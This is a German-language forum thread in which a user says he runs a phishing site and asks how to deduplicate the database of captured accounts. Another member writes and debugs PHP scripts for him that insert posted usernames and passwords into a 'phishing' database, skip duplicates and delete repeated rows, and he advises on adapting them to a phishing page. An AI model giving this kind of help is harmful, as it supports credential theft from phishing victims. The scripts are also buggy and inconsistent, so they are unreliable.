Seite 1 von 2 12 LetzteLetzte
Ergebnis 1 bis 10 von 14
  1. #1
    Anfänger
    Registriert seit
    20.04.2009
    Beiträge
    26

    Standard DB von doppelten oder mehrfachen einträgen bereinigen

    tach
    ich hatte mal eine phishing seite eröffnet nur ich hatte leider nicht von anfang an ein script drin das doppelte einträge verhindert.
    weis jemand wie ich die db bereinigen könnte so das dort keine duplikate auftauchen?


    MFG 113puma

  2. #2
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Hier mal ein Beispielscript, was ich mal eben gezimmert habe, weiß nur nicht, obs funktioniert. Keine Zeit zum testen . Prinzip sollte aber wohl klar sein.

    PHP-Code:
    <?php

    $host 
    "127.0.0.1:3306";
    $user "root";
    $pw "phpmyadmin";
    $db "phishing";

    $con = @mysql_connect($host,$user,$pw);
    @
    mysql_select_db($db);

    $user htmlentities($_POST['user']); //Mit Deinen POST-Daten austauschen!
    $pw htmlentities($_POST['pw']); //Dito

    if(!$con) {

        die(
    "Connectien denied for user ".$user." at ".$host."!");

    } else {
     
        
    $query "SELECT * FROM `phishing`.`beispielseite` WHERE `beispielseite`.`user` LIKE '".$user."' AND `beispielseite`.`password` LIKE '".$user."'";
        
    $res = @mysql_query($query);

        if(
    mysql_num_rows($res) == "0") {

            
    //Eintrag ist noch _nicht_ in der Datenbank

            
    $query "INSERT INTO `phising`.`beispielseite` (user,password) VALUES ('".$user."','".$password."');";
            
    $ret = @mysql_query($query);

            if(
    $ret) {

                print 
    "Eingetragen!";

            } else {

                print 
    "Fehler";

            }

        } else {

            
    //Eintrag existiert schon

            
    exit;

        }

    }

    ?>
    Musst Du vllt. noch etwas umstellen, have Fun.
    Geändert von VeN0m (05.08.2009 um 00:40 Uhr)
    Come to the dark side - We have cookies

  3. #3
    Anfänger
    Registriert seit
    20.04.2009
    Beiträge
    26

    Standard

    wenn cih es ausführe kommt:
    Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /usr/export/www/vhosts/funnetwork/hosting/114puma/sauber.php on line 23
    Fehler
    das script sieht jetzt so aus:
    PHP-Code:
    <?php

    $host 
    "localhost";
    $user "114puma";
    $pw "....";
    $db "114puma";

    $con = @mysql_connect($host,$user,$pw);
    @
    mysql_select_db($db);

    $user htmlentities($_POST['user']); //Mit Deinen POST-Daten austauschen!
    $pw htmlentities($_POST['pwd']); //Dito

    if(!$con) {

        die(
    "Connectien denied for user ".$user." at ".$host."!");

    } else {
     
        
    $query "SELECT * FROM `114puma`.`base` WHERE `base`.`user` LIKE '".$user."' AND `beispielseite`.`password` LIKE '".$user."'";
        
    $res = @mysql_query($query);

        if(
    mysql_num_rows($res) == "0") {

            
    //Eintrag ist noch _nicht_ in der Datenbank

            
    $query "INSERT INTO `114puma`.`base` (user,password) VALUES ('".$user."','".$password."');";
            
    $ret = @mysql_query($query);

            if(
    $ret) {

                print 
    "Eingetragen!";

            } else {

                print 
    "Fehler";

            }

        } else {

            
    //Eintrag existiert schon

            
    exit;

        }

    }

    ?>

    kann es sein das ich irgendwo was falsches geändert habe?

  4. #4
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Denkfehler... Naja, weiß gerade nicht, woran es liegt.
    Dann so:

    PHP-Code:
    <?php

    $host 
    "localhost";
    $user "114puma";
    $pw "....";
    $db "114puma";

    $con = @mysql_connect($host,$user,$pw);
    @
    mysql_select_db($db);

    $user mysql_real_escape_string(htmlentities($_POST['user'])); //Mit Deinen POST-Daten austauschen!
    $pw mysql_real_escape_string(htmlentities($_POST['pwd'])); //Dito

    if(!$con) {

        die(
    "Connectien denied for user ".$user." at ".$host."!");

    } else {
     
        
    $query "SELECT count(*) FROM `114puma`.`base` WHERE `base`.`user` LIKE '".$user."' AND `beispielseite`.`password` LIKE '".$user."'";
        
    $res mysql_query($query);
        
    $row mysql_fetch_row($res);

        if(
    $row[0] == "0") {

            
    //Eintrag ist noch _nicht_ in der Datenbank

            
    $query "INSERT INTO `114puma`.`base` (user,password) VALUES ('".$user."','".$password."');";
            
    $ret = @mysql_query($query);

            if(
    $ret) {

                print 
    "Eingetragen!";

            } else {

                print 
    "Fehler";

            }

        } else {

            
    //Eintrag existiert schon

            
    exit;

        }

    }

    ?>
    Habe noch mysql_real_escape_string() hinzugefügt, vergaß ich vorhin. Ist für den Fehler aber irrelevant.
    Geändert von VeN0m (05.08.2009 um 02:01 Uhr)
    Come to the dark side - We have cookies

  5. #5
    Anfänger
    Registriert seit
    20.04.2009
    Beiträge
    26

    Standard

    jez kommt :
    Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /usr/export/www/vhosts/funnetwork/hosting/114puma/sauber.php on line 24
    Geändert von 113puma (05.08.2009 um 02:09 Uhr)

  6. #6
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Gib mir mal eben zehn Minuten - Ich teste das... Ich editiere dann.

    EDIT:

    PHP-Code:
    <?php

    $host 
    "localhost";
    $user "root";
    $pw "";
    $db "";

    $con = @mysql_connect($host,$user,$pw);
    @
    mysql_select_db($db);

    $user mysql_real_escape_string(htmlentities($_POST['user'])); //Mit Deinen POST-Daten austauschen!
    $pw mysql_real_escape_string(htmlentities($_POST['pwd'])); //Dito 

    if(!$con) {

        die(
    "Connectien denied for user ".$user." at ".$host."!");

    } else {
     
        
    $query "SELECT * FROM `bla`.`beispielseite` WHERE `beispielseite`.`user` LIKE '".$user."' AND `beispielseite`.`password` LIKE '".$password."'";
        
    $res mysql_query($query);
        
    $row mysql_fetch_row($res);

        if(
    mysql_num_rows($res) == "0") {

            
    //Eintrag ist noch _nicht_ in der Datenbank

            
    $query "INSERT INTO `bla`.`beispielseite` (user,password) VALUES ('".$user."','".$password."');";
            
    $ret = @mysql_query($query);

            if(
    $ret) {

                print 
    "Eingetragen!";

            } else {

                print 
    "Fehler";

            }

        } else {

            
    //Eintrag existiert schon

            
    die("Eintrag existiert schon!");

        }

    }

    ?>
    Kann man mit den ganzen die()'s aber so natürlich bei einer Phishingseite nicht verwenden! ^^
    Ich denke der Fehler lag daran, dass a) ich beim password $user übergeben habe (bei der Abfrage) und b) Du mein zweites "beispielseite" nicht gegen Deine Tabelle ersetzt hast .

    Musst wieder Deine Daten eintragen (steht jetzt auf Beispiel wieder ^^), vergiss aber das Passwortfeld nicht. Ich hätte das für Dich schon gemacht, wenn ich wüsste, wie dieses bei Dir heißt .
    Geändert von VeN0m (05.08.2009 um 02:43 Uhr)
    Come to the dark side - We have cookies

  7. #7
    Anfänger
    Registriert seit
    20.04.2009
    Beiträge
    26

    Standard

    kk
    Geändert von 113puma (05.08.2009 um 02:40 Uhr)

  8. #8
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Ich schreibe immer im Format `datenbank`.`tabelle` und `tabelle`.`column`. Ein Column ist sowas wie "password" oder "user", "pwd" etc.
    Und ja, in Deinem Fall wäre pwd richtig. Ich wollte aber a) keine neue Tabelle bei mir auf dem localhost erstellen und b) nicht von meiner Gewohnheit "password" zu verwenden abweichen . Passe das Script einfach so an, dass es passt. Bei mir geht es perfekt - Probiere also so lange, bis die Daten stimmen .

    EDIT: Habe noch was geändert, siehe oben.
    Geändert von VeN0m (05.08.2009 um 02:43 Uhr)
    Come to the dark side - We have cookies

  9. #9
    Anfänger
    Registriert seit
    20.04.2009
    Beiträge
    26

    Standard

    oh
    ich glaub du hast was falsch verstanden das script das die doppelten accs verhinderht habe ich schon
    ich bräuchte eins das die doppelten accs entfernt
    sory das mir das ers so spät aufgefallen ist ich bin ein idiot
    Geändert von 113puma (05.08.2009 um 02:57 Uhr)

  10. #10
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Nicht schlimm...

    PHP-Code:
    <?php

    $host 
    "localhost";
    $user "root";
    $pw "password";
    $db "datenbank";

    $con = @mysql_connect($host,$user,$pw);
    @
    mysql_select_db($db);

    if(!
    $con) {

        die(
    "Connectien denied for user ".$user." at ".$host."!");

    } else {
     
        
    $query "SELECT * FROM `datenbank`.`tabelle`";
        
    $res mysql_query($query);
        
    $all = array();

        while(
    $row mysql_fetch_row($res)) {

        if(
    in_array($row[1],$all)) {

            
    $query "DELETE FROM `datenbank`.`tabelle` WHERE `tabelle`.`id` = '".$row[0]."'";
            
    mysql_query($query);
            continue;

        }

        
    $all[$row[0]] =  $row[1];

        }

        
    print_r($all);


    }

    ?>
    *GÄHN*
    Geändert von VeN0m (05.08.2009 um 03:17 Uhr)
    Come to the dark side - We have cookies

Seite 1 von 2 12 LetzteLetzte

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •